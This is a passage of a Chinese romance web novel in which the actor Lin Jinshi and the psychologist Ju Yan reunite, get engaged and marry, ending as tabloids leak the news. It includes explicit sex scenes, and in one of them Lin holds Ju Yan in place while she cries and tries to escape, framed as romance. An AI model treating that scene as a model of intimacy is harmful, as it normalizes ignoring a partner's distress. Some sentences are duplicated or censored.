赵琦在派出所显得清醒了许多，他给鞠言道了歉，并希望鞠言能够看在他生病了的情况下，原谅他。 “虽然动手是我不对,但这件事你也有错在先，不是吗？” 鞠言并没有接受赵琦的道歉，她看着他，一字一句清楚地告诉他： “就算我是医生，也没有义务对你的人生和疾病负责。” …… 从派出所出来鞠言回到车上，林今世侧过脸看向她，因为失血过多，他连眨眼都显得有些吃力。 鞠言的心再度痛起来，她轻声问：“你今天在哪住？” “酒店。” “我能一起去吗？” “你回去休息吧，陈哥会照顾我的。” 鞠言坚决地摇了摇头：“回去了我也睡不着。陪着你我能安心一点。” 林今世的眼睫毛微微颤了下，他柔声问：“你是担心我了吗？” 鞠言没有否认：“嗯。” 林今世伸过没有受伤的那只手小心地牵住了她的手，鞠言没有像从前那样躲开，纤白的手指轻轻反握。 林今世的手微微有些发起抖了，鞠言以为是伤口在发疼，立刻看向了他。 淡灰色的光线之中，林今世的眼睛微微泛着红意。 对上鞠言担忧的目光，林今世微微弯眼：“别担心，是因为太高兴了。” 鞠言的眼睛瞬间潮了，她握得更紧了一些，把头轻轻靠了林今世的肩膀上。 林今世住的套房助理已经提前定好了，陈同乐开车将他们送到酒店的楼下。 鞠言还是第一次到这么高奢的酒店里来，但她现在没什么心情去看这家一夜入住费就要十几万的酒店的环境。 套间大概有四百多平，鞠言走过去把几扇窗帘一一拉上，房间里的一切瞬间都笼上了一层昏暗，仿若傍晚。 林今世就近在客厅的沙发坐了下来，抬手扯下口罩。他的眼睛半睁着，显得有些疲倦。 望着林今世早已褪尽了血色的唇，鞠言对赵琦的恨一瞬间填满心头，她暗暗在心里希望赵琦能够多判几年。 鞠言小心地帮着林今世把外套从受伤的那只手脱出来，伤口已经用纱布包裹住了，但他沾着点点血迹的白衬衫仍在刺目地提醒她。 鞠言颤手帮着他将衬衫纽扣解开，轻声道：“去洗澡吧。” 她知道林今世有点洁癖，在没有洗澡的情况下不愿意上床。 林今世略略摇头：“你先洗吧。” “你待会儿没力气洗了怎么办？” 鞠言坚持着将林今世“赶”进了浴室。 隔了一会儿，浴室内传出了水流的声音。 想到林今世一只手洗澡不方便，怕他会不小心把水淋到伤口上，鞠言犹豫了一下，走到浴室门旁轻轻叩了叩，片刻后，门打开了。 林今世白洁的皮肤上滑淌着水珠，他只低低地在腰际围了一条白浴巾，上身赤裸，腰部两侧性感的人鱼线往下延伸，被浴巾的褶皱截断。 上一次关着灯看得不仔细，这一次，在明亮的灯亮下，林今世的腹肌肉眼可见地比从前更明显了，壮实的胸肌中间有一个三角形的阴影。 鞠言连忙把目光避开，她小声道： 身后大面的镜子映照出他光泽、接近完美的腰背。 鞠言连忙把目光避开，她小声道： “我帮你。” “……”林今世有些意外，随即侧身让到一旁。 浴室是黑白色系的，阔气又明亮。鞠言打开水龙头在洗漱台蓄满了温水，将毛巾浸到里面打湿，稍稍拧干了些，随即转身面向林今世。 林今世站在洗漱台旁，垂眸看着她，嘴角带着一点儿不易察觉的弧度，身后的镜面映照出他光泽、接近完美的腰背。 还未正式开始，她的耳尖就已隐隐发烫。 林今世配合地微仰起脸。 鞠言微微吸了口气，抬起手将洁白柔软的毛巾贴到面前人紧致的肌肤上。 随着动作。微凉的甲尖不时轻蹭过林今世的肌肤，酥痒酥痒的。 “……”林今世的喉结微微滚动了一下。 鞠言太过紧张，并没有察觉到他的呼吸加重了，她僵硬而认真地一点点从林今世的脖颈擦拭到肩背。 随着擦拭的位置越来越暧昧，鞠言的脸也越来越红，擦到腰腹时，就连手掌都红起来了。 她紧攥着手中的毛巾假装从容地继续动作，因为垂着脸的缘故，脸颊旁的几缕长发坠了下来，挡住了她的大半张侧面，也挡住了余光中朦胧的林今世。 虽然视线有些受阻，鞠言却松了口气，看不见林今世，她还能稍稍放松些。 下一秒，却有人温柔地将她掉落的长发别回了耳畔。 鞠言微怔，下意识地仰脸，措不及防地对上了林今世那双缱绻而带有□□的漂亮眼睛。 她的动作静止了，手不自觉攥紧，白毛巾渗下了一滴水珠，坠落而下。 林今世温热的指尖顺势触贴着她的脸轻轻地抚摸。 “比比……” 他的指尖抚摸到她的下巴停住，稍稍使力，鞠言的脸微微抬了起来。 她的嘴唇轻轻阖动了一下，还未出声，林今世的吻已先落了下来- 套间很大，还有一个卧室，但鞠言怕林今世等下睡着了会压到伤口，便选择和林今世住一个房间。 洗完了澡，鞠言换上了酒店提供的一次性睡裙，她将自己换下的衣物叠好放进柜子里，拿了条小毯子在林今世对面的沙发上躺下，小沙发是皮革的，长度刚好够她的身高。 林今世忽然道：“不上来睡吗？” “会不小心压到你的。” “不会的，床很大。” 鞠言犹豫了下，掀开毯子从沙发上起来，她走到床边慢慢在林今世没有受伤的那一侧躺了下来。 怕弄痛他，鞠言刻意睡的很远，床又很大，两个人中间像是隔了一条银河。 林今世：“……” 鞠言正准备睡了，林今世忽然挪了过来，他把自己的手臂伸过来：“枕着睡好不好？” 鞠言没有考虑便拒绝：“你手臂会麻的，等下两只手都不能动了怎么办。” 林今世低声说：“我想你靠着。” 鞠言小心地靠过去，轻轻枕住他的手臂。 林今世嘴角泛起了淡笑，他低脸，鼻尖贴近她的长发，轻轻闻着那股失而复得的发香。 枕着林今世结实的手臂，鞠言的肩膀松懈了，一天一夜的疲惫瞬间倾压了上来。 鞠言本想着等到林今世睡着了就将他的手牵回被子里，没想到才刚靠上去，便睡了过去。 在林今世体温的包裹下，这一觉鞠言睡得甜而沉。 清晨淡白的阳光钻进窗帘缝隙照进房间，鞠言的 意识一点点复苏，她慢慢睁开眼睛，林今世已经不在身旁了，她的被子被掖得很好，没有一丝漏风之处。 虽然知道林今世很忙，要赶行程，但看着身旁空荡荡的被窝，鞠言还是有些低落。 她拿过床头的手机看了眼时间，不过才早上七点，微信有林今世留给她的消息： 【我还有工作，搬家公司傍晚会到你小区楼下。】 鞠言回完消息，从床上坐起来换衣服，明天还要上班，得趁着下午的时间把出租屋的东西收拾好。 平时不觉得东西多，收拾起来却很要命，明明只是一个不大的房间，鞠言就收拾了一下午。 傍晚五点时，搬家公司的货车准时来到了小区楼下，几名搬运工人将她打包好的行李搬进了白色货车的后备箱中。 货车行驶了二十分钟，顺着高档地段一条宁静宽阔的汽车道驶停在了一幢私人别墅门口。 鞠言打开副驾驶的车门，轻盈地从高高的货车上跳下来，到别墅大门处输入了同样是她生日日期的密码。 几个工人搬着她不算多的行李穿过庭院，陆续走进别墅内，客厅的入户门一打开，比鞠言先一步的馄饨便喵喵叫着迎接出来，它还记得她。 馄饨看起来比视频中还胖一圈，看着它都快要拖到地面上的肚皮，鞠言无奈： “馄饨，你该减肥了。” “喵～” 馄饨听不懂，眯着眼睛亲热地用脑袋蹭着她的裤脚，发出摩托车启动的声音。 鞠言本想和搬家公司的人一起先将行李搬进去，奈何馄饨一直缠在她脚边绊来绊去，鞠言只能暂时不去管行李，先抱起馄饨坐在地上抚摸了好一阵。 直到她的手都酸了，馄饨才露出餍足的模样，潇洒地从她怀里跳了出去，兀自去猫爪板磨爪子了。 房子很干净，林今世前一天已经请保洁收拾过了，他在大门处新装了监控设备，屏幕可以直接看到外面。 收拾好行李，鞠言给林今世发去微信：【你的手怎么样了，今天还疼吗？】 林今世：【没什么事了。】 鞠言眉心微蹙：【你现在有空吗？】 林今世：【在化妆室。怎么了？】 鞠言直接摇了个视频过去。 下一秒，林今世精致绝伦的脸便出现在了屏幕中，他的头发上别着定位夹，白洁的额头露在外面，他靠坐在椅子上，有三四双手正在麻利地打扮着他。 林今世懒声道：“比比。” 鞠言直接道：“给我看看你的手。” “已经没事了。” “那就给我看看。” “……”相持片刻，林今世轻轻将缠着绷带的手在屏幕前晃了一下，虽然一晃即逝，但鞠言还是看清楚了。 林今世的手肉眼可见的比原先肿胀了好几倍，就连没有被包扎起来的手指也泛着大片的淤青。 即使早就猜到了林今世是在骗她，但看到比原先看起来更加严重了的伤处，鞠言的心还是如同被刀绞了一般。 鞠言的眼眶瞬间红了，险些再度滚下泪。 “别哭，你哭的话，我的伤口会疼的。”林今世连忙哄她。 鞠言自己也不想哭，她闭了闭眼睛，哑声问： “你什么时候回来？” “嗯？还有些事情要忙，怎么了？” “我想见你。” 第78章 林今世这里定时都会有保洁人员上门清理,完全不用费什么力，鞠言下班后便空出了不少时间，她买了许多可爱的口水巾,每天给馄饨换着戴。 看着躺在自己腿上露着肚皮的肥猫，鞠言决定从明天起,正式开始给馄饨减肥。 鞠言在网上看好教程，第二天下班后在超市里买好了所需的肉类和蔬菜,回家自己动手做了一顿减脂猫饭。 鞠言把馄饨抱到盛好的猫饭前，鞠言期待地蹲在它身旁：“馄饨，这是我自己做的哦。” 馄饨挑剔地嗅了嗅,赏脸吃了起来，鞠言看着顿时不觉得辛苦了。 馄饨细嚼慢咽地吃了一半，弹了弹猫脚,跳到沙发上睡觉去了。 到了下午馄饨才睡醒，一醒来就喵喵叫着要吃罐头。 鞠言看着高竖着尾巴跑向存放罐头的房间的馄饨，言辞拒绝道： “馄饨,以后一个星期只能吃两个罐头。” 馄饨呆呆地望了她一会儿，又回头看了看身后堆着罐头零食的房间。 “喵！” 馄饨抗议地叫了一声,站起来用爪子挠着柜子暗示。 “不可以哦。” 馄饨又同手同脚地跑到她身旁,呼噜呼噜的用脑袋蹭着鞠言的裤腿撒娇。 鞠言无情道：“馄饨，这是为了你的身体好。” 知道撒娇也没用,馄饨生气地挣掉了鞠言早上给它戴的绿色绣小花的针织围兜,并且叼起来用力一甩，丢了出去。 鞠言：“……” 馄饨可怜兮兮地在房间外卧了一会儿，爬上了猫爬架的最高处和鞠言冷战起来。 夜晚，鞠言一接通林今世的视频，馄饨就急不可耐地纵到了鞠言的腿上,告状地对着林今世叫了起来。 鞠言：“……” 林今世疑惑：“它怎么了？” 鞠言无奈地把给馄饨减肥而将罐头减量的事原原本本的告诉了林今世。 林今世并不帮“孩子”，无情地偏帮鞠言： “馄饨，听妈妈的话。” 鞠言脸一热，轻声道：“不许乱说。” 林今世的眼睛微微弯起来。 鞠言垂下眼不看他，忍不住又浅声问：“还有几天回来？” “我尽快。”林今世的声音轻柔极了，“电影应该还有一个月就杀青了。” “嗯……” 等到挂断视频，已经是十一点半了，鞠言正准备睡觉。 手机忽然响了起来，是林今世打来的，她理了下头发，将视频接了起来。 林今世的脸再度出现在她眼前，他询问道： “可以开着视频睡吗？” 鞠言微微点头，将手机搁到身旁的床头柜上，她没有再说话，阖上了眼。 林今世抬起手，指腹轻轻地隔着手机屏抚了抚她柔软的脸。 “晚安。”- 接下来的几天时间过的仿佛格外的慢，每过一天，鞠言便会在手机日历上划掉。 时间过得再慢，终于还是一点一点走完了。 距离林今世拍摄结束还有三天。 “比比，遇上什么好事了，这么开心。” 吃午餐时，杨欣微笑着问道。 “啊，有吗？”鞠言并没有发觉自己今天有什么不同。 “有。”乔楠点点头，“鞠医生你最近走路都蹦蹦跳跳的。” 穆晓菲：“对！特别是今天！” “是吗……” 鞠言的脸有点微微泛起了红。 看着她的反应，穆晓菲眨了眨眼睛：“比比，你不会是谈恋爱了吧？” 鞠言抬手将鬓边的碎发捋到耳后：“目前还没有确定关系……” “是那个每天都送花来的吗？”贺思源呆了呆，急忙问。 鞠言没有注意到贺思源神情的不对劲，轻轻“嗯。”了一声。 穆晓菲推着鞠言的肩膀撒娇：“给我看看照片！给我看看照片！” 鞠言腼腆道：“下次我带他来见你。” 要是现在给穆晓菲看林今世的照片，穆晓菲肯定只会觉得她在她的安利下不知不觉变成了过激梦女。 天空被乌云占据了一整天，到了快下班的时间，不合时宜地下起了雨夹雪。 虽然一路都撑着伞，但到了地铁站内，鞠言的衣服还是被斜风刮来的雪珠打湿了一些。 今天她和贺思源是同一时间下班，但贺思源并没有像往常那样等她一块走。 突如其来的雨夹雪没有破坏鞠言的好心情，下车后离到家还有一段路，她一手撑伞，一手挎包，脚步轻快地往家的方向走，别墅里配有司机，但住进来以后，除了特殊情况，鞠言很少让他来接她。 比起坐车，她更喜欢在下班后一边欣赏风景，一边慢慢地走回去。 这片住宅区的绿化做的极好，四周栽种着一片精心打理过的、很漂亮的森林。 隔着如湿濛濛的雨夹雪，郁郁葱葱的树木模糊地呈现在她的眼中，雨水击打下的植物散发着一股清新的气息。 鞠言跟着耳机里的音乐轻哼着，才走了没几步，竟在前方看见了一道熟悉的身影，像从前那样，只一眼，她就认出了他。 林今世也认出了她，他的眉眼在一秒之间柔和，撑着伞阔步朝她走来。 鞠言也向他走过去，走着走着，两人都忍不 住小跑起来。 至彼此跟前停下，林今世用自己的伞取代了她的伞。 “已经没什么事了。” 虽然每天都会视频，鞠言也知道林今世手上的绷带已经拆了，能自由活动了，但没有亲眼确认过，还是不放心，她牵着他的手，站在伞下翻来覆去地看了好一会儿。 看着目光长久地停留在他掌心那道长长的、凸起的疤痕上的鞠言，林今世淡笑道： “真的没事了。” 鞠言轻轻松开了他的手，这才想起问他： “不是说还要好几天才回来吗？” “太想你了。” “那对你的工作没影响吧？” 林今世摇了摇头：“不会，只是没参加杀青宴。” 或许是因为林今世曾经淋雨感冒过，每次下雨，鞠言总会担心他一不小心又染上像以前那样严重的感冒。 鞠言说：“让司机来接吧。” “我想和你走走。”林今世的手试探着来牵她的手。 鞠言没有躲：“你万一又感冒了怎么办？” 林今世：“……我没有那么脆弱。” 鞠言看了眼林今世的穿着，“那你小心点，不要淋到了。” “我不冷。”林今世想把自己的外套脱下来给她。 鞠言阻止道：“我穿的够多了，再穿你的外套就太热了。” 林今世看了一眼她略显单薄的外套：“穿上。” 他的语气不容拒绝，鞠言只能接过他的外套来乖乖穿上。 外套上还残存着林今世的体温与气息，眼前雨雪飞扬，相同雨夹雪，与他温暖的外套，使她想起了少女时代和他在电影院偶遇后穿着他的外套回家的记忆。 不同的是林今世现在走在她的身旁，与她十指相扣- 鞠言在玄关换好了鞋，往卧室的方向走去，她想快点将那束可爱瓷抱出来给林今世看。 这束可爱瓷是林今世昨天请人送来的，鞠言舍不得放在医院里，特意带回了家，还特意乘地铁跑了一趟陶瓷店，精挑细选了一只玉白色的陶瓷瓶来装它。 林今世跟在她身后走到了卧室门旁，鞠言刚想伸手去捧那束粉白色的玫瑰，林今世忽然道： “比比，你愿意做我的女朋友吗？” 鞠言的脚步停下，隔了片刻，回答道：“愿意。” 下一秒，她就被人一把拥进了怀中。 鞠言抬起手，回应林今世紧紧的怀抱。 林今世的身体僵了一下，此刻的快乐冲掉了过往所有的痛苦，他的嘴唇微微发颤，眼泪夺眶而出，直直坠向地面。 好一会儿，林今世才放开她。鞠言屈起手指在他湿润的眼下拭了拭，微笑道： “以后我们再也不分开了，好不好？” 林今世握住她的手放到自己的脸上：“我永远不要再和你分开。”- 温存结束，鞠言拿上家居服准备去洗澡。 “我要跟你一起洗。”林今世跟在身后缠着她，刚复合，他就有些得寸进尺起来了。 鞠言不加思索：“不要。” “我又不是别人。” 林今世忽然想到了什么，笑了一声，盯着她道：“比比，你说你高中的喜欢了的时候喜欢了我三年，”他提到这点似乎很开心，眼睛漂亮地弯起来，看起来有点坏： “你就当是那时候的我想要和你一起洗澡。” 鞠言脸一热，“那也不行！你自己去隔壁洗。”她伸手把他往副卧的浴室推。 “要不然我去找校服来穿上？”林今世一边向后退，一边笑眯眯地说。 鞠言重重摇了摇头，继续推着他。 各自坚持了一会儿，林今世只能一脸不情愿地拿着自己的家居服去了另一间浴室。 放好了热水，鞠言把长发盘起，踏进浴缸里坐下，她正趴在浴缸上发呆，门忽然被人打开了，她本能地倏然往没有丝毫遮挡的作用的水里藏了藏，慌张地向来人望过去。 她不由得恍惚了一下，高中的林今世的款步朝她走过来，她发觉他的脸颊已褪去了青涩，目光也不像以往的那样仿佛从没注意过她。而是迷人而长久地凝落在她的身上。 第79章 林今世走到浴缸边停下,垂视的目光使他看起来有些倨傲。 鞠言猛然反应了过来，本就闷的有些红的脸迅速的红了起来，一只手扬起水泼他：“说过了不许！” 林今世不由得笑了下,他的习惯，只一侧嘴角轻轻向上一挑,无意的撩人。 回忆里与现实中共存的林今世抬起手捏住桐安校服的拉链，慢慢往下拉,漂亮的□□随着校服一寸寸分开，逐渐暴露在她眼前，胸肌之下是腹肌,腹肌之下是人鱼线，再往下则是…… 发丝汗津津的黏在脸上，纤白的手指紧紧地扳着浴缸壁,另一双大了许多的男人的手覆在上面，牢牢地扣着，鞠言被林今世反抱在怀里,他炙热的喘息紧贴着她的肩窝，动作带起了一圈圈涟漪。 几滴水珠顺着下巴滴下来,重新溶回浴缸的水中。 最后还是林今世给她擦干身体,换上浴袍，抱着她出去的。 到了卧室,以免鞠言站不稳,林今世先将她抵到了墙上，才伸手抬起她一条腿。 看着鞠言渐渐含泪的眼睛，林今世哄道：“受不了的话，我抱着你。” 鞠言微微点脸，伸手环抱住他的脖颈。 看着她满眼是泪还很信任他的模样,林今世的嘴角浅浅地挑了一下。 “准备好了？” 鞠言莫名其妙，这有什么好准备的？ 下一刻，林今世托住她的腰，将她抱起来。 让鞠言没想到的是，在将她抱起来的一瞬间，林今世惊人的尺寸在这个更加直接的姿势的加持下，简直一下子要将她贯穿了。 “呃！”鞠言的眼泪一瞬间飙了出来，立刻就想躲。 林今世掐住她的腰，不让她逃。 只有他是她的支点，鞠言只能牢牢地环着林今世的脖颈，不让自己再往下坠。 尽管鞠言的脸颊早已被泪水浸湿，但林今世却还没有一点要放过她的意思，他嘴上哄着她，动作一点儿也不停，忍耐了几年的想念仿佛要在这一个夜晚让她全部还清。 最开始鞠言还能间隔着断断续续的骂他几句，到后来，早已连求饶的力气都没有了，后半段的过程她一点儿也不记得了，只记得直到漆黑的天空转亮，林今世才抱着早已意识不清的她去洗漱。 到了第二天下午，鞠言才迷迷糊糊地醒来，一见到林今世，她就抓住他的手臂狠狠在上面咬了一口泄愤。 林今世知道是自己昨天太过分了，他轻笑了一声，哄道：“随你咬。” 鞠言哑声道：“你个混蛋。” 看着她还带着淡红泪痕的脸，林今世的喉结微微滚动了一下，他伸出手想将她揽进怀里。 鞠言急道：“不许！” 林今世：“……只是想抱抱你。” 鞠言对他还有气：“那也不要。” 林今世装没听见，硬黏过来抱住她，鞠言推着不让，他便环着她的腰顺势跪到了地面上。 闹了一会儿，见鞠言的气消了，林今世便得寸进尺地将脸垫到了她的大腿上，握着她的手不住地用脸蹭着。 “明天去领证好不好？” 鞠言怔了一下，“会不会太快了。” “不然我不放心。”林今世低声说。 鞠言有些无奈：“我都答应了，又不会反悔。” 林今世松开她的腿，他从口袋里取出一只丝绒盒子，慢慢打开。 眼前有光芒一闪，鞠言怔住了，洁白绒垫上嵌着一只戒指，足有七克拉，雪亮的钻圈簇拥着中心一枚椭圆形钻石，晶光四射。 林今世从下往上望向她，平时日一贯冷淡的双眸流露出紧张的神色，声音也有些发抖： “比比，你给我个正式的名分好不好？” 鞠言有些震惊：：“你怎么……什么都准备好了？” “两年前就买了，我当时在法国看到这枚钻戒的第一眼就想到了你。”林今世将戒指拿下来，“可以戴上吗？” 看着林今世卑微的模样，鞠言知道他是害怕再度失去她，现如今她已不再怀疑林今世对她的爱，鞠言不再拒绝，她用手轻轻摸了摸他的脸，柔声说：“嗯。” 林今世的眼睛闪出了跟钻石一样的光芒，他立刻摘下戒指，拿起了鞠言的左手，想将戒指推到她的无名指上。 鞠言忍不住笑了，出神提醒：“笨蛋，拿错手了。” 林今世也跟着笑了一下，他拿起她的右手把戒指郑重地戴到了她无名指上。 在这一刻鞠言的心后知后觉的紧张了起来，她听到了自己的心脏跳得很快。 无名指上凉凉的戒指是她一直爱着的男人亲手替她戴上的。 林今世没有立刻松开鞠言的手，他垂着睫毛，和鞠言一块认真地看了好一会儿那枚象征他们爱情的戒指，才抬起眼看她，眼神异常的乖顺： “比比，当我的未婚妻可以吗？” 鞠言眼眶有些泛湿，她点点头：“那我们在手机上先预约吧。” “只要你愿意，我会让陈哥办好的。” 一想到明天可能就要和林今世正式成为了夫妻了，鞠言紧张起来，她的视线下落，不再看眼前的男人，只细声道：“我愿意。” 话音未落，她便被人一把搂入了怀中，林今世俯下脸，唇寻上她的唇。 鞠言感受到了他软而柔的嘴唇，感觉到了他在温柔而热烈吮贴着她的唇，柔软湿滑的舌头探了进来。 两人吻了一会儿，林今世捞起正卧在床上眯着眼睛打盹的馄饨丢到了卧室门外，馄饨呆了呆，立刻想飞速闪回房间，但晚了一步，林今世已经将门关上了，馄饨只能委屈地一边挠门，一边扯着嗓子骂骂咧咧。 鞠言听馄饨叫得凄厉，有些心痛，她推住林今世：“让它进来吧，晚上再补偿你……” 林今世动作停下，抬睫看她：“怎么补偿？” 看着他的眼神，鞠言的脸瞬间烧了起来，忙躲开眼神，小声道： “你这个流氓。” 她白皙的脸庞染上了一抹绯红，为清丽的容貌增添了几分美艳。 林今世瞬间欲动，选择在一秒间明晰，他单手粗暴地解着自己的衫衣钮扣。 林今世将鞠言的睡裙往上推，俯下身去。 她感觉到了他柔软的黑发。 贪婪的白兽俯身贴近去用鼻子嗅那朵的玫瑰，她从未如此清晰地感受到过他高挺的鼻梁骨。白兽开始迷恋地舐吮起花蕊，温柔而欲罢不能。 她的喘息声逐渐盖过了馄饨的声音。 被抛弃的馄饨在外面挠了许久的门，到后来没力气了，也骂累了，只能叼了自己的老鼠玩具，卧在门口睡着，时不时仰起头来看一眼门有没有打开。 一个多小时后门才被打开，馄饨一边对林今世扯开嗓子指责着，一边飞快地蹿进房间，怕他又会把门关上。 鞠言不像林今世那样体力好，她将脸埋在枕头上，没有精力理馄饨。 馄饨“喵喵”叫了一会儿，见鞠言不理它，只能委屈地在她身旁卧下来。 林今世穿上浴袍走了出去，片刻后，他回到了房间，在床边坐下，他把鞠言扶起来，让她靠在自己的胸膛上，将水喂到她唇边：“先喝点水，我点了意面，马上就到了。” 鞠言迷糊道：“不想吃，想睡觉……” “吃一点儿再睡。” “不要。”鞠言推开他，往下一缩，蜷到了被子里- 迷迷糊糊地感觉有人轻轻地抚摸着她的头发，鞠言微睁开眼睛。 林今世朦胧的脸庞映入眼帘，房间的窗帘还没有拉开，光线昏暗。 他俯下身，在她的额头上吻了一下，柔声说： “该起床了。” 睡了十多个小时，鞠言的睡眠已经到了饱和状态，她揉了揉眼睛，抬手环住林今世的脖颈，向他微笑：“早上好。” “……”林今世的脸凑近过来想吻她的唇。 鞠言连忙侧开脸：“我还没刷牙呢。” 林今世眼眸微弯：“我抱你过去。” 他托住鞠言的大腿，单手将她抱起，走进了浴室。 鞠言环得紧了一点，轻轻地依偎住他的胸膛，林今世的手很稳，她并不担心他会不小心把她摔了，只是想抱他紧一点。 林今世抱着鞠言走进了比她的咨询室还大的卫生间，而后轻轻地将她抱到了镜子前的大理石上让她坐着，自己在电动牙刷上挤好了牙膏后递给她。 趁着鞠言刷牙的时间，林今世用温水打湿了毛巾，等鞠言刷好牙后，轻轻替她擦起了脸。 鞠言被他照顾得有些不好意思，她轻推开林今世的手：“我自己来就好了。” “那好，我先去下面。”林今世柔声说。 鞠言倾身在林今世的脸颊上吻了一下：“嗯。” 林今世的动作顿住，他的眼睛微微睁圆了一些，撒娇道：“再亲一下。” 鞠言的眼睛弯了弯，她捧住他的脸，又吻了一下，林今世的脸部皮肤平整紧致，手感却很好。 鞠言顺势捧着他的脸揉了揉：“你的脸摸起来好舒服。” 林今世像猫咪似的用脸蹭着她的手：“那你多摸一会儿。” “好啦，我有点饿了。” 虽然恋恋不舍，但林今世还是被她哄了出去，洗完脸擦好护肤品，鞠言把头发梳了梳，穿着睡裙走出了卫生间。 林今世的别墅装有恒温系统，偌大的客厅温暖如春，弥漫着一股淡淡的令人垂涎的香味。 厨房是开放式的，林今世站在岛台后，正把刚煮好的面放入碗中，窄窄的腰部系着一条黑色的围裙，看起来多了几分“人夫感。” 第80章 鞠言走过去抱住他,将脸贴在他的背脊上： “我闻到虾的味道了。” 林今世温柔而缱绻的声音从上面传来：“是鲜虾鸡蛋面。” 汤底是提前就做好的，只需把面条和配菜放下去即可。 鞠言在餐桌前坐下，林今世把热气腾腾的面条端到她面前,从外观上看，林今世的厨艺似乎比从前进步了不少。 他夹了一小筷面条放到汤勺里,又往上面搁了一枚虾仁，而后把勺子递给鞠言,在林今世略显紧张的目光下，她将汤勺里的食物送入口中。 剥了壳的鲜虾又嫩又鲜，面条的嚼劲也刚刚好。 鞠言仰起脸,眼睛亮晶晶的：“你什么时候变得这么厉害了？” 看着她的反应，林今世的眼睛微微弯起来：“这几年有空的时候，就会学着做,一次次做就会了，不过只学会了做和虾有关的菜系。” 林今世在鞠言对面的位置坐下，他面前的是一碗冷汤荞麦面以及几块鸡胸肉和西兰花,看起来健康却使人毫无食欲。 鞠言有些心疼，但林今世是演员,保持身材也是他的工作内容之一。 她又配着汤吃了一口面条,再次道：“很好吃。” 林今世的嘴角控制不住地含了笑，嘴里索然无味的西兰花仿佛也变好吃了。 把西兰花咽下去后,他道：“以后我不在的时候,让苏阿姨做，我在的时候，我给你做。” “苏阿姨？” “是我找的住家保姆，她做的玉雾菜很正宗。” 鞠言有些诧异：“这么快就找到合适的了？” “从你搬到这里之后就开始找了，到现在才找到合适的,等我走了，她就会过来。” 经历了前几眼一系列完美的安排，鞠言已经见怪不怪，对于林今世的安排，鞠言点头同意，她也还想和林今世再过几天二人世 界- 因为林今世身份的特殊性，为了不引起骚乱，他们特意选了最早的时间，林今世打扮的很低调，只在内搭外罩了一件再简单不过的黑色外套，司机今天开的车也是一辆常见的宝马x7。 8:30分的民政局大厅内已有许多对新人在等候了。 鞠言和林今世是第一个号，他们在窗口办理好结婚登记，跟随工作人员来到拍摄结婚照的宣誓台。 地上铺着红色的地毯，登上两级台阶，长方形的宣誓台就在正中间的位置。 鞠言忽然有些紧张，她轻轻呼了口气，把外套脱下，林今世接过了，和自己的外套一起递给了一同前来的助理。他们没有穿白衬衫，而是穿了当年那套桐安的春夏季校服。 校服是淡白色的，左侧胸口的口袋上绣有浅蓝色的“桐安”二字。 林今世没有把头发撩起，而是打理成了高中时期清爽的顺发。 鞠言也将披发扎了起来，变成了上学时的模样唯一的不同就是她现在没有刘海了。 两人并肩站在宣誓台后，手臂挨在一起。 鞠言含笑看着镜头，余光中，是林今世朦胧而耀眼的侧影。 走出民政局，鞠言低脸看着结婚证上穿着白色校服的自己与林今世相挨着的照片，心底漾起一阵温暖的幸福。 过去那个女孩隐藏在心底最深处的秘密变成了现实。 此时此刻，身旁的林今世正轻轻抚摸着照片中微笑的女孩，梦中无数次见过的画面在这一刻终于变成了现实。 林今世的眼睛不觉间湿润了，他仰起脸，清晨九点的阳光明亮得有些刺眼，他闭上眼，温暖的阳光在他的皮肤上流淌着。 从今天起，他是她的丈夫了。 回到家，鞠言刚换下鞋，就被身后的林今世一把抱了起来，他一边低头吻她，一边抱着她大步往卧室走。 喘息交叠，直到凌晨的月亮浮在空中蒙蒙发亮，鞠言才在林今世的怀抱中沉沉睡去- 新婚的第二天，鞠言是被林今世的手机铃声吵醒的，林今世第一时间摁了静音，他松开环抱着她的手，轻轻替她掖好别子，起身出去了。 林今世在客厅待了许久没回来，虽然寒冷的冬季已经过去，但初春的清晨还是冷丝丝的，鞠言朦胧中记得林今世只穿着睡衣就出去了，她从床上坐起来，想从衣柜里拿件外套给林今世。 鞠言点开手机想先看眼时间，没想到屏幕一亮起便是各个软件推送的有关林今世的娱乐新闻： 林今世疑似结婚！【爆】 没想到已经做全了一切能做的隐秘措施，竟然还是被狗仔知道了，鞠言心一紧，忙点进去。 在几分钟前，一家娱乐媒体在网上发布了一张模糊的偷拍照。 照片中，身型酷似林今世的男人正执着一个女孩的手，甜蜜的依偎在一起。 即使已经是凌晨三点，但照片一发布便在网上引起了轩然大波，不过评论区的大部分人并不不相信，因为林今世正是最红的阶段，即使之前表明过一直有一位放不下的人，但梦女粉仍是多到夸张，如果在这个时候公开恋情，一定会有很多粉丝脱粉。 此刻，不管是粉丝还是吃瓜的路人，都在等待林今世方的答复。 鞠言披上外套，到客厅去找林今世。 客厅没有开灯，昏暗中只有一点稀薄的月光洒进来，林今世单手插兜，伫立在客厅的大落地窗前，身上散发出的冷淡拒人千里之外。 鞠言走到他身后，将带出来的外套披到林今世的肩上。 林今世回过身，对上鞠言的目光，他知道她已经看见了，柔声道： “我会处理好，别怕。” 鞠言摇摇头：“我不怕。” 她不知道林今世打算怎么解决，但对于娱乐圈的这些新闻的处理方式她不了解，也不擅长，林今世有专业的公关团队，交给他去处理比自己这个圈外人靠谱多了。 鞠言嘱咐道：“你可不要冲动。” “不会的。”林今世抬手将鞠言身上的羊毛开衫拢紧了些，“时间还早，你再去睡会儿。” “睡不着了。”鞠言笑了笑，牵着林今世的手到沙发上坐下。 林今世将她抱到自己的怀里搂着，又拿过搭在沙发上的小毛毯盖到她的身上。 鞠言将脸靠在林今世的肩上，在暴风雨来临前安静地享受与他的温存，林今世摩挲着她的手，低声道： “就算不被偷拍到，我也会公开。” “我知道。” 鞠言在他令人安心地怀抱中渐渐阖上眼，被闹钟叫醒时已经是早晨七点半了，她正躺在卧室的大床上，林今世已经不在了，身旁只有敞开肚皮呼呼大睡的馄饨。 即使知道林今世肯定是不久前才离开她的，但鞠言还是忍不住有些失落。 她今天要上班，司机已经等在外面了，鞠言收拾好自己，将戒指摘下放进抽屉里，挎上通勤的包包出门。 今天是周六，森北医院一大早就挤得水泄不通，不止是本省的居民，还有许多都是千里迢迢从外地特意过来的。 从主任医师到护士个个都忙得脚不沾地，完全挤不出一点时间，因而林今世的绯闻事件似乎并没有在森北医院引起热议。 鞠言也是从早上忙到中午，最后一个咨询结束没一会儿，她正喝着水湿润自己有些干涸的喉咙，乔楠推门进来，对上她震惊的目光，鞠言下意识问：“怎么了？” 乔楠迫不及待地告诉她：“鞠医生，林今世刚才官宣结婚了！” 